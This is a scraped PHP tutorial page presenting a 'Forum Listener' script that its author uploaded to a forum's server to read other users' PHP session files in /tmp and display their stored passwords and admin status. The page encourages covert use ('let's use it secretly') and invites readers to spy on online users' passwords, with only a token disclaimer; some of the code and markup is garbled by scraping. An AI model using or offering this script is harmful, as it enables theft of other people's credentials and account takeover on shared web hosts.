A function to view session content_PHP tutorial

WBOY
Release: 2016-07-21 16:07:41
Original
797 people have browsed it

The reason why this function can be written is mainly because the session structure of the website is clear, such as: name|s:4:"tasm";passwd|s:6:"111111";mode|s:1:"1" , also know the location where the session is stored, and can upload files, so I did a little hacking at that time, and the passwords of online friends can be seen at a glance, haha:
function submit1( ){
global $username;
print "Forum Listener";
$i=0;
if($username=="tasm"|| $username=="Tasm")
{
print "Are you too shady? Are you checking me too?";
return;
}
$path="/tmp /";
$d = dir($path);
while($entry=$d->read()){
if(substr($entry,0,4)==" sess"){
$entry=$path.$entry;
$ary=@file($entry);
if(!empty($ary[0])){
$ary = explode(";",$ary[0]);
$name= explode(":",$ary[0]);
if($name[2]==""".$ username."""){
$passwd= explode(":",$ary[1]);
$mode=explode(":",$ary[3]);
print " User pen name: ".$name[2]."
Use password: ".$passwd[2]."
Use mode:";
if($mode[1]==1 )
print "admin";
else
print "General user";
print"

Stealing from others Passwords are immoral, please do something about it
";
$i=1;
break;
}}}}
if(!$i)
print "User :".$username." Is it really online? If you are sure, Please try again, don’t type more spaces! ";
$d->close();
}

function login(){
?>


Forum Listener




Forum Listener


< ;/p>





We solemnly declare: This program is a free program and I am not responsible for any losses caused by it

However, this problem may be blocked soon. Go on, let’s use it secretly without making any publicity.
="" >

Please enter the username you want to check:





< ;/p>





}
//--------------main()
if($submit1)
submit1();
else
login();
?>




http://www.bkjia.com/PHPjc/315026.html

www.bkjia.com

true

TechArticleThe reason why this function can be written is mainly because the session structure of the website is clear, such as: name|s :4:tasm;passwd|s:6:111111;mode|s:1:1, we also know the location where the session is stored, and can...
Related labels:
source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template
When you see a user online and you want to see his password, what do you do? ="2">Let me tell you: just use this program.